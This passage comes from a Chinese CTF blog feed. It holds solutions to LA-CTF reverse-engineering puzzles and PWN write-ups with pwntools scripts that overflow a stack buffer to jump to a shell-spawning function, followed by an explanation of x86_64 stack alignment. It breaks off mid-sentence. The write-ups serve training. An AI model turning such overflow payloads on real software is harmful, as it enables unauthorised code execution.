完整合法性检查 ==================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">valid</span>(<span class="params">grid</span>):</span><br><span class="line">    seen = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            <span class="keyword">if</span> (i,j) <span class="keyword">not</span> <span class="keyword">in</span> seen:</span><br><span class="line">                comp = flood_fill(grid, i, j)</span><br><span class="line">                seen |= comp</span><br><span class="line"></span><br><span class="line">                v = [<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>]</span><br><span class="line">                <span class="keyword">for</span> x,y <span class="keyword">in</span> comp:</span><br><span class="line">                    v[n[x*<span class="number">7</span>+y]] += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># 题目要求：每种标签必须 0 或 2</span></span><br><span class="line">                <span class="keyword">for</span> k <span class="keyword">in</span> [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]:</span><br><span class="line">                    <span class="keyword">if</span> v[k] <span class="keyword">not</span> <span class="keyword">in</span> (<span class="number">0</span>,<span class="number">2</span>):</span><br><span class="line">                        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 局部剪枝检查 ==================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">partial_valid</span>(<span class="params">grid</span>):</span><br><span class="line">    seen = <span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            <span class="keyword">if</span> (i,j) <span class="keyword">not</span> <span class="keyword">in</span> seen:</span><br><span class="line">                comp = flood_fill(grid, i, j)</span><br><span class="line">                seen |= comp</span><br><span class="line"></span><br><span class="line">                v = [<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>]</span><br><span class="line">                open_border = <span class="literal">False</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">for</span> x,y <span class="keyword">in</span> comp:</span><br><span class="line">                    v[n[x*<span class="number">7</span>+y]] += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">                    <span class="comment"># 看看是否还可能扩展</span></span><br><span class="line">                    <span class="keyword">for</span> dx,dy <span class="keyword">in</span> dirs:</span><br><span class="line">                        nx, ny = x+dx, y+dy</span><br><span class="line">                        <span class="keyword">if</span> <span class="number">0</span> &lt;= nx &lt; <span class="number">7</span> <span class="keyword">and</span> <span class="number">0</span> &lt;= ny &lt; <span class="number">7</span>:</span><br><span class="line">                            <span class="keyword">if</span> grid[nx*<span class="number">7</span>+ny] == -<span class="number">1</span>:</span><br><span class="line">                                open_border = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># 如果已经封闭，就必须严格检查</span></span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> open_border:</span><br><span class="line">                    <span class="keyword">for</span> k <span class="keyword">in</span> [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]:</span><br><span class="line">                        <span class="keyword">if</span> v[k] <span class="keyword">not</span> <span class="keyword">in</span> (<span class="number">0</span>,<span class="number">2</span>):</span><br><span class="line">                            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 打印棋盘 ==================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">print_grid</span>(<span class="params">g</span>):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">        row = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">7</span>):</span><br><span class="line">            row += <span class="string">&quot;#&quot;</span> <span class="keyword">if</span> g[i*<span class="number">7</span>+j] == <span class="number">1</span> <span class="keyword">else</span> <span class="string">&quot;_&quot;</span></span><br><span class="line">        <span class="built_in">print</span>(row)</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 还原 flag ==================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_flag</span>(<span class="params">g</span>):</span><br><span class="line">    h = hashlib.sha512(<span class="built_in">str</span>(g).encode()).digest()</span><br><span class="line">    secret = <span class="built_in">bytes</span>.fromhex(</span><br><span class="line">        <span class="string">&quot;8b1e35ac3da64cb9db365e529ad8c949&quot;</span></span><br><span class="line">        <span class="string">&quot;6388a4f499faf887386b4f6c43b616aa&quot;</span></span><br><span class="line">        <span class="string">&quot;e990f17c1b1f34af514800275673e0f3&quot;</span></span><br><span class="line">        <span class="string">&quot;c689c0998fc73c342f033aa7cc69d199&quot;</span></span><br><span class="line">    )</span><br><span class="line">    flag = <span class="built_in">bytes</span>(a^b <span class="keyword">for</span> a,b <span class="keyword">in</span> <span class="built_in">zip</span>(h, secret))</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\nFLAG:&quot;</span>, flag.decode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 搜索准备 ==================</span></span><br><span class="line"></span><br><span class="line">free_cells = [i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">49</span>) <span class="keyword">if</span> f[i] == <span class="number">0</span>]</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;可翻格子数:&quot;</span>, <span class="built_in">len</span>(free_cells))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 初始棋盘：-1 = 未赋值</span></span><br><span class="line">g = [-<span class="number">1</span>]*<span class="number">49</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">49</span>):</span><br><span class="line">    <span class="keyword">if</span> f[i] == <span class="number">1</span>:</span><br><span class="line">        g[i] = <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 回溯搜索 ==================</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">search</span>(<span class="params">grid, idx</span>):</span><br><span class="line">    <span class="keyword">if</span> idx == <span class="built_in">len</span>(free_cells):</span><br><span class="line">        <span class="keyword">if</span> valid(grid):</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;\n找到解！\n&quot;</span>)</span><br><span class="line">            print_grid(grid)</span><br><span class="line">            decrypt_flag(grid)</span><br><span class="line">            sys.exit(<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">    pos = free_cells[idx]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 尝试 0</span></span><br><span class="line">    grid[pos] = <span class="number">0</span></span><br><span class="line">    <span class="keyword">if</span> partial_valid(grid):</span><br><span class="line">        search(grid, idx+<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 尝试 1</span></span><br><span class="line">    grid[pos] = <span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> partial_valid(grid):</span><br><span class="line">        search(grid, idx+<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 回溯</span></span><br><span class="line">    grid[pos] = -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ================== 运行 ==================</span></span><br><span class="line"></span><br><span class="line">search(g, <span class="number">0</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://moxin1044.github.io/posts/739/</id>
    <link href="https://moxin1044.github.io/posts/739/"/>
    <published>2026-02-06T08:56:09.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【LA-CTF2025】REVERSE-刷题记录-crypt-of-the-necropuzzler</title>
    <updated>2026-03-30T12:48:11.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="网络安全" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/"/>
    <category term="LACTF2025" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/LACTF2025/"/>
    <category term="REVERSE" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/LACTF2025/REVERSE/"/>
    <category term="REVERSE" scheme="https://moxin1044.github.io/tags/REVERSE/"/>
    <category term="比赛题目" scheme="https://moxin1044.github.io/tags/%E6%AF%94%E8%B5%9B%E9%A2%98%E7%9B%AE/"/>
    <category term="海外比赛" scheme="https://moxin1044.github.io/tags/%E6%B5%B7%E5%A4%96%E6%AF%94%E8%B5%9B/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>题目来源于2025年LACTF的归档</p><p><img src="../../attachments/image-20260206164205981.png" alt=""></p><p>IDA插件推荐：<a href="https://github.com/L4ys/LazyIDA">https://github.com/L4ys/LazyIDA</a></p><h1 id="解题过程"><a href="#解题过程" class="headerlink" title="解题过程"></a>解题过程</h1><p><img src="../../attachments/image-20260206164407773.png" alt=""></p><p>题目其实还是比较简单的：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">size_t</span> v3;        <span class="comment">// 输入字符串长度</span></span><br><span class="line">  <span class="type">size_t</span> v4;        <span class="comment">// 长度的一半</span></span><br><span class="line">  <span class="type">size_t</span> v5;        <span class="comment">// 循环计数器</span></span><br><span class="line">  <span class="type">int</span> v6;           <span class="comment">// strcmp 返回值</span></span><br><span class="line"></span><br><span class="line">  <span class="type">char</span> v8[<span class="number">256</span>];     <span class="comment">// 重排后的字符串（“悖论化”结果）</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">264</span>];      <span class="comment">// 用户输入的原始字符串</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What do you think the flag is? &quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 读取最多 256 个字符</span></span><br><span class="line">  fgets(s, <span class="number">256</span>, <span class="built_in">stdin</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 找到换行符位置</span></span><br><span class="line">  v3 = <span class="built_in">strcspn</span>(s, <span class="string">&quot;\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 把换行符替换为字符串结束符 &#x27;\0&#x27;</span></span><br><span class="line">  s[v3] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ----------- 长度检查 -----------</span></span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strlen</span>(target) == v3 )   <span class="comment">// 必须和 target 一样长（36）</span></span><br><span class="line">  &#123;</span><br><span class="line">    v4 = v3 &gt;&gt; <span class="number">1</span>;   <span class="comment">// v4 = v3 / 2 = 18</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ----------- 关键“交织变换” -----------</span></span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v5 = <span class="number">0</span>;   <span class="comment">// i = 0</span></span><br><span class="line"></span><br><span class="line">      <span class="keyword">do</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="comment">// v8 的偶数位来自输入前半部分</span></span><br><span class="line">        v8[<span class="number">2</span> * v5] = s[v5];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// v8 的奇数位来自输入后半部分</span></span><br><span class="line">        v8[<span class="number">2</span> * v5 + <span class="number">1</span>] = s[v4 + v5];</span><br><span class="line"></span><br><span class="line">        ++v5;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">while</span> ( v5 &lt; v4 );  <span class="comment">// 循环 18 次</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 末尾补上字符串结束符</span></span><br><span class="line">    v8[v3] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Paradoxified: %s\n&quot;</span>, v8);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ----------- 比较变换后的结果与 target -----------</span></span><br><span class="line">    v6 = <span class="built_in">strcmp</span>(target, v8);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ( v6 )   <span class="comment">// 不相等</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;You got the flag wrong &gt;:(&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span>        <span class="comment">// 相等</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;That&#x27;s the flag! :D&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span>   <span class="comment">// 长度不对</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Bad length &gt;:(&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> v6;  <span class="comment">// 返回 strcmp 结果</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>结果就是程序把输入拆成两半，然后一前一后交叉重排，要求重排后的结果等于 <code>target</code></p><p>等价流程是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">输入 s = [前18字符][后18字符]</span><br><span class="line"></span><br><span class="line">v8 = s[0], s[18], s[1], s[19], ..., s[17], s[35]</span><br><span class="line"></span><br><span class="line">要求：v8 == target</span><br></pre></td></tr></table></figure><p>要拿到 flag，只需要<strong>把这个交织过程倒过来</strong>：</p><ul><li>target 的偶数位 → flag 前半</li><li>target 的奇数位 → flag 后半</li></ul><p><code>target</code>值为</p><p><img src="../../attachments/image-20260206164814998.png" alt=""></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">target = [<span class="number">0x6C</span>, <span class="number">0x5F</span>, <span class="number">0x61</span>, <span class="number">0x6C</span>, <span class="number">0x63</span>, <span class="number">0x6F</span>, <span class="number">0x74</span>, <span class="number">0x73</span>, <span class="number">0x66</span>, <span class="number">0x74</span>, <span class="number">0x7B</span>, <span class="number">0x5F</span>, <span class="number">0x74</span>, <span class="number">0x69</span>, <span class="number">0x68</span>, <span class="number">0x6E</span>, <span class="number">0x65</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x69</span>, <span class="number">0x66</span>, <span class="number">0x6E</span>, <span class="number">0x6C</span>, <span class="number">0x66</span>, <span class="number">0x61</span>, <span class="number">0x69</span>, <span class="number">0x67</span>, <span class="number">0x6E</span>, <span class="number">0x5F</span>, <span class="number">0x69</span>, <span class="number">0x67</span>, <span class="number">0x74</span>, <span class="number">0x6F</span>, <span class="number">0x79</span>, <span class="number">0x74</span>, <span class="number">0x7D</span>, <span class="number">0x00</span>]</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">target = [<span class="number">0x6C</span>, <span class="number">0x5F</span>, <span class="number">0x61</span>, <span class="number">0x6C</span>, <span class="number">0x63</span>, <span class="number">0x6F</span>, <span class="number">0x74</span>, <span class="number">0x73</span>, <span class="number">0x66</span>, <span class="number">0x74</span>, <span class="number">0x7B</span>, <span class="number">0x5F</span>, <span class="number">0x74</span>, <span class="number">0x69</span>, <span class="number">0x68</span>, <span class="number">0x6E</span>, <span class="number">0x65</span>, <span class="number">0x5F</span>, <span class="number">0x5F</span>, <span class="number">0x69</span>, <span class="number">0x66</span>, <span class="number">0x6E</span>, <span class="number">0x6C</span>, <span class="number">0x66</span>, <span class="number">0x61</span>, <span class="number">0x69</span>, <span class="number">0x67</span>, <span class="number">0x6E</span>, <span class="number">0x5F</span>, <span class="number">0x69</span>, <span class="number">0x67</span>, <span class="number">0x74</span>, <span class="number">0x6F</span>, <span class="number">0x79</span>, <span class="number">0x74</span>, <span class="number">0x7D</span>, <span class="number">0x00</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 转成字符串</span></span><br><span class="line">target = <span class="string">&quot;&quot;</span>.join(<span class="built_in">chr</span>(b) <span class="keyword">for</span> b <span class="keyword">in</span> target_bytes)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 反交织</span></span><br><span class="line">first_half = target[::<span class="number">2</span>]</span><br><span class="line">second_half = target[<span class="number">1</span>::<span class="number">2</span>]</span><br><span class="line"></span><br><span class="line">flag = first_half + second_half</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20260206165134631.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/4bf0/</id>
    <link href="https://moxin1044.github.io/posts/4bf0/"/>
    <published>2026-02-06T08:38:13.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【LA-CTF2025】REVERSE-刷题记录-patricks-paraflag</title>
    <updated>2026-02-06T10:21:20.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="网络安全" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/"/>
    <category term="青少年CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/%E9%9D%92%E5%B0%91%E5%B9%B4CTF/"/>
    <category term="PWN" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/%E9%9D%92%E5%B0%91%E5%B9%B4CTF/PWN/"/>
    <category term="PWN" scheme="https://moxin1044.github.io/tags/PWN/"/>
    <category term="青少年CTF" scheme="https://moxin1044.github.io/tags/%E9%9D%92%E5%B0%91%E5%B9%B4CTF/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="题目信息"><a href="#题目信息" class="headerlink" title="题目信息"></a>题目信息</h1><p>题目名称：ret2fun</p><h1 id="解题步骤"><a href="#解题步骤" class="headerlink" title="解题步骤"></a>解题步骤</h1><p><img src="../../attachments/image-20251119190354500.png" alt=""></p><p>其实和ret2fun一样，但是没有栈对齐了，是32位</p><p>代码也一样，我就不贴了（其实应该先做这个题的）</p><p><img src="../../attachments/image-20251119190548225.png" alt=""></p><p><code>fun</code>地址为<code>0x080484cd</code></p><p>在 32 位架构下，寄存器宽度为 <strong>4 字节</strong>（64 位为 8 字节）。根据题目逻辑，我们需要覆盖局部变量和 Saved EBP 才能控制返回地址。</p><script type="math/tex; mode=display">\text{Padding} = \text{Buffer} + \text{Saved EBP}</script><p><strong>Buffer:</strong> 16 bytes</p><p><strong>Saved EBP:</strong> 4 bytes (32-bit width)</p><p><strong>Total Offset:</strong> <strong>20 bytes</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = context.binary = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">p = process(elf.path)</span><br><span class="line"></span><br><span class="line">fun_addr = <span class="number">0x080484cd</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">20</span> + p32(fun_addr)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;please input:&#x27;</span>, payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20251119192516671.png" alt=""></p>]]>
    </content>
    <id>https://moxin1044.github.io/posts/804b/</id>
    <link href="https://moxin1044.github.io/posts/804b/"/>
    <published>2025-11-19T11:02:13.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【青少年CTF】PWN-刷题记录-ret2fun</title>
    <updated>2025-11-19T12:41:27.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="网络安全" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/"/>
    <category term="青少年CTF" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/%E9%9D%92%E5%B0%91%E5%B9%B4CTF/"/>
    <category term="PWN" scheme="https://moxin1044.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/CTF/%E9%9D%92%E5%B0%91%E5%B9%B4CTF/PWN/"/>
    <category term="PWN" scheme="https://moxin1044.github.io/tags/PWN/"/>
    <category term="青少年CTF" scheme="https://moxin1044.github.io/tags/%E9%9D%92%E5%B0%91%E5%B9%B4CTF/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="题目信息"><a href="#题目信息" class="headerlink" title="题目信息"></a>题目信息</h1><p>题目名称：ret2fun1</p><h1 id="解题步骤"><a href="#解题步骤" class="headerlink" title="解题步骤"></a>解题步骤</h1><p><img src="../../attachments/image-20251119170906915.png" alt=""></p><p>可以看到开了很多东西，64位小端序，没有栈溢出保护，NX先默认可执行，没有随机地址</p><p>入门小pwn</p><p><img src="../../attachments/image-20251119171238139.png" alt=""></p><p><img src="../../attachments/image-20251119171250682.png" alt=""></p><p>看到代码也是非常简单的</p><p>利用<code>gets</code>进行栈溢出，然后返回到<code>fun</code>的system</p><p>fun的地址是401156</p><p><img src="../../attachments/image-20251119171455350.png" alt="image-20251119171455350"></p><p><code>gdb</code>也挺方便</p><p>16 字节用于填充 <code>s</code> 缓冲区。</p><p>8 字节是 <code>RBP</code> 保存区域。</p><p>所以，覆盖 <code>RIP</code>（返回地址）之前总共需要填充 <strong>24 字节</strong>。</p><p>先简单写个脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">elf = context.binary = ELF(<span class="string">&#x27;./ret2fun&#x27;</span>)</span><br><span class="line">p = process(elf.path)</span><br><span class="line"></span><br><span class="line">fun_addr = <span class="number">0x401156</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;A&#x27;</span> * <span class="number">24</span> + p64(fun_addr)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;please input:&#x27;</span>, payload)</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="../../attachments/image-20251119174203864.png" alt=""></p><p><img src="../../attachments/image-20251119174216572.png" alt=""></p><p>可以看到好像拿到了<code>shell</code>？但是真的拿到了吗？如拿！</p><p>为什么这么说？</p><p>我们执行一下命令，比如<code>ls</code></p><p><img src="../../attachments/image-20251119174242678.png" alt=""></p><p>你会发现就已经崩溃了</p><h2 id="栈对齐的要求"><a href="#栈对齐的要求" class="headerlink" title="栈对齐的要求"></a>栈对齐的要求</h2><p>这是因为在<code>x86_64</code>架构下，<strong>函数调用前栈需要 16 字节对齐</strong>。<br>如果不对齐，在调用像 <code>system()</code> 这种函数时，有时会因为栈不对齐导致崩溃。</p><blockquote><p><code>栈对齐（stack alignment）</code> 是指在调用函数（特别是 C 函数或系统库函数）前，<br> <strong>栈指针寄存器 RSP 必须是 16 字节对齐（即 RSP % 16 == 0）</strong>。</p><p>这不是编译器随意的习惯，而是 <code>AMD64 System V ABI 规范</code> 的硬性要求。<br> 这个规范规定了 <code>Linux</code> / <code>macOS</code> / <code>BSD</code> 等 64 位系统上函数调用的栈布局。</p><p>其实主要是为了性能和安全性两种要求</p></blockquote><p>在 64 位系统里，很多函数（例如 <code>printf</code>, <code>system</code>, <code>memcpy</code>）内部使用了 SSE 指令。</p><p>SSE 寄存器（XMM0～XMM15）在访问内存时要求操作数<strong>按 16 字节对齐</strong>。</p><p>如果对齐正确，CPU 一次可以加载或存储 16 字节；</p><p>如果没对齐，执行 <code>movaps</code>、<code>movdqa</code> 等指令会 <strong>触发段错误 (SIGSEGV)</strong>。</p><p>比如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">movaps xmm0, [rsp+8]</span><br></pre></td></tr></table></figure><p>在这种情况下，rsp+8如果不是16的倍数，就会导致程序直接崩溃。</p><blockquote><p>ABI规定：在执行 call 指令前，调用方必须保证栈顶（RSP）是 16 字节对齐的</p></blockquote><h2 id="栈对齐原理"><a href="#栈对齐原理" class="headerlink" title="栈对齐原理"></a>栈对齐原理</h2><p>当你执行 <code>call func</code> 时，CPU 会自动把返回地址压入栈中（8 字节）：</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">RSP 先减 <span class="number">8</span></span><br><span class="line"><span class="selector-attr">[返回地址]</span> ← 压入栈</span><br></pre></td></tr></table></figure><p>所以，在函数内部开始执行时，<strong>RSP 的值其实是 16 的倍数 + 8</strong>。</p><p>也就是说：</p><ul><li>进入函数前：RSP 对齐到 16。</li><li>进入函数后：RSP % 16 == 